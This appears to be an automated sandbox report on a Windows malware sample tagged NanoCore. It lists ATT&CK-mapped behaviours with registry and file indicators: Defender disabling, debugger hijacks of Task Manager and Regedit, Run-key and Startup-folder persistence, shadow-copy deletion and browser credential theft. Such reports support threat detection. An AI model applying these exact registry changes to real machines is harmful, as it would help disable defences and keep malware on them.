nanocore | 2f527c34a633bb91e50afd5bc94073a07aceb7bf073375c23f16fa6a6c553cc6

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	libecch.io_chrome.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4"	libecch.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4104	powershell.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	libecch.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	libecch.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	libecch.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\libecch.io_chrome.exe"	libecch.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	libecch.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\libecch.io_chrome.exe"	libecch.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	libecch.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\libecch.io_chrome.exe"	libecch.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
4536	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

persistence privilege_escalation

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	libecch.io_chrome.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	libecch.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf	libecch.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf	libecch.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\libecch.io_chrome.exe"	libecch.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\libecch.io_chrome.exe"	libecch.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\libecch.io_chrome.exe"	libecch.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\libecch.io_chrome.exe"	libecch.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4932	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\sysupdate.exe	libecch.io_chrome.exe
File created	C:\Windows\system32\svchost.exe	libecch.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	libecch.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
3168	wscript.exe
2596	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	libecch.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	libecch.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3160	sc.exe
4844	sc.exe
2684	sc.exe
1816	sc.exe
1040	sc.exe
4316	sc.exe
1708	sc.exe
4532	sc.exe
2380	sc.exe
5060	sc.exe
2212	sc.exe
4712	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5992	cmd.exe
3184	cmd.exe
5236	cmd.exe
6008	cmd.exe
3076	cmd.exe
5496	cmd.exe
6032	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4204	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
3712	ipconfig.exe
1820	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
3704	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4976	vssadmin.exe
1076	vssadmin.exe
1196	vssadmin.exe

Modifies Control Panel 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\Desktop\WallpaperStyle = "2"	libecch.io_chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134306480115499374"	chrome.exe

Modifies registry class 17 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings\shell	libecch.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	libecch.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	libecch.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	libecch.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings\shell	libecch.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings\shell\open\command	libecch.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings\shell\open	libecch.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	libecch.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings\shell\open\command	libecch.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings\shell\open	libecch.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings	libecch.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\libecch.io_chrome.exe"	libecch.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings\shell\open\command\DelegateExecute	libecch.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\.pdf\ = "PDFBotnet"	libecch.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\libecch.io_chrome.exe\" \"%1\""	libecch.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000_Classes\ms-settings	libecch.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2968	schtasks.exe
5060	schtasks.exe
2900	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4660	chrome.exe
4660	chrome.exe
4104	powershell.exe
4104	powershell.exe
4104	powershell.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe
4444	libecch.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4444	libecch.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4660	chrome.exe
Token: SeCreatePagefilePrivilege	4660	chrome.exe
Token: SeIncreaseQuotaPrivilege	3204	WMIC.exe
Token: SeSecurityPrivilege	3204	WMIC.exe
Token: SeTakeOwnershipPrivilege	3204	WMIC.exe
Token: SeLoadDriverPrivilege	3204	WMIC.exe
Token: SeSystemProfilePrivilege	3204	WMIC.exe
Token: SeSystemtimePrivilege	3204	WMIC.exe
Token: SeProfSingleProcessPrivilege	3204	WMIC.exe
Token: SeIncBasePriorityPrivilege	3204	WMIC.exe
Token: SeCreatePagefilePrivilege	3204	WMIC.exe
Token: SeBackupPrivilege	3204	WMIC.exe
Token: SeRestorePrivilege	3204	WMIC.exe
Token: SeShutdownPrivilege	3204	WMIC.exe
Token: SeDebugPrivilege	3204	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3204	WMIC.exe
Token: SeRemoteShutdownPrivilege	3204	WMIC.exe
Token: SeUndockPrivilege	3204	WMIC.exe
Token: SeManageVolumePrivilege	3204	WMIC.exe
Token: 33	3204	WMIC.exe
Token: 34	3204	WMIC.exe
Token: 35	3204	WMIC.exe
Token: 36	3204	WMIC.exe
Token: SeShutdownPrivilege	4660	chrome.exe
Token: SeCreatePagefilePrivilege	4660	chrome.exe
Token: SeBackupPrivilege	4140	vssvc.exe
Token: SeRestorePrivilege	4140	vssvc.exe
Token: SeAuditPrivilege	4140	vssvc.exe
Token: SeDebugPrivilege	4104	powershell.exe
Token: SeShutdownPrivilege	4660	chrome.exe
Token: SeCreatePagefilePrivilege	4660	chrome.exe
Token: SeIncreaseQuotaPrivilege	3204	WMIC.exe
Token: SeSecurityPrivilege	3204	WMIC.exe
Token: SeTakeOwnershipPrivilege	3204	WMIC.exe
Token: SeLoadDriverPrivilege	3204	WMIC.exe
Token: SeSystemProfilePrivilege	3204	WMIC.exe
Token: SeSystemtimePrivilege	3204	WMIC.exe
Token: SeProfSingleProcessPrivilege	3204	WMIC.exe
Token: SeIncBasePriorityPrivilege	3204	WMIC.exe
Token: SeCreatePagefilePrivilege	3204	WMIC.exe
Token: SeBackupPrivilege	3204	WMIC.exe
Token: SeRestorePrivilege	3204	WMIC.exe
Token: SeShutdownPrivilege	3204	WMIC.exe
Token: SeDebugPrivilege	3204	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3204	WMIC.exe
Token: SeRemoteShutdownPrivilege	3204	WMIC.exe
Token: SeUndockPrivilege	3204	WMIC.exe
Token: SeManageVolumePrivilege	3204	WMIC.exe
Token: 33	3204	WMIC.exe
Token: 34	3204	WMIC.exe
Token: 35	3204	WMIC.exe
Token: 36	3204	WMIC.exe
Token: SeDebugPrivilege	4444	libecch.io_chrome.exe
Token: SeShutdownPrivilege	4660	chrome.exe
Token: SeCreatePagefilePrivilege	4660	chrome.exe
Token: SeShutdownPrivilege	4660	chrome.exe
Token: SeCreatePagefilePrivilege	4660	chrome.exe
Token: SeShutdownPrivilege	4660	chrome.exe
Token: SeCreatePagefilePrivilege	4660	chrome.exe
Token: SeShutdownPrivilege	4660	chrome.exe
Token: SeCreatePagefilePrivilege	4660	chrome.exe
Token: SeShutdownPrivilege	4660	chrome.exe
Token: SeCreatePagefilePrivilege	4660	chrome.exe
Token: SeIncBasePriorityPrivilege	4444	libecch.io_chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe
4660	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4444	libecch.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4444 wrote to memory of 4660	4444	libecch.io_chrome.exe	87
PID 4660 wrote to memory of 4292	4660	chrome.exe	88
PID 4444 wrote to memory of 4104	4444	libecch.io_chrome.exe	89
PID 4444 wrote to memory of 3160	4444	libecch.io_chrome.exe	90
PID 4444 wrote to memory of 4844	4444	libecch.io_chrome.exe	92
PID 4444 wrote to memory of 2684	4444	libecch.io_chrome.exe	94
PID 4444 wrote to memory of 2380	4444	libecch.io_chrome.exe	163
PID 4444 wrote to memory of 1816	4444	libecch.io_chrome.exe	98
PID 4444 wrote to memory of 1040	4444	libecch.io_chrome.exe	100
PID 4444 wrote to memory of 4316	4444	libecch.io_chrome.exe	103
PID 4444 wrote to memory of 5060	4444	libecch.io_chrome.exe	132
PID 4444 wrote to memory of 4900	4444	libecch.io_chrome.exe	107
PID 4444 wrote to memory of 1708	4444	libecch.io_chrome.exe	108
PID 4444 wrote to memory of 2212	4444	libecch.io_chrome.exe	110
PID 4444 wrote to memory of 1196	4444	libecch.io_chrome.exe	112
PID 4660 wrote to memory of 3824	4660	chrome.exe	113
PID 4660 wrote to memory of 3824	4660	chrome.exe	113
PID 4660 wrote to memory of 4204	4660	chrome.exe	114
PID 4660 wrote to memory of 1496	4660	chrome.exe	115
PID 4660 wrote to memory of 1496	4660	chrome.exe	115
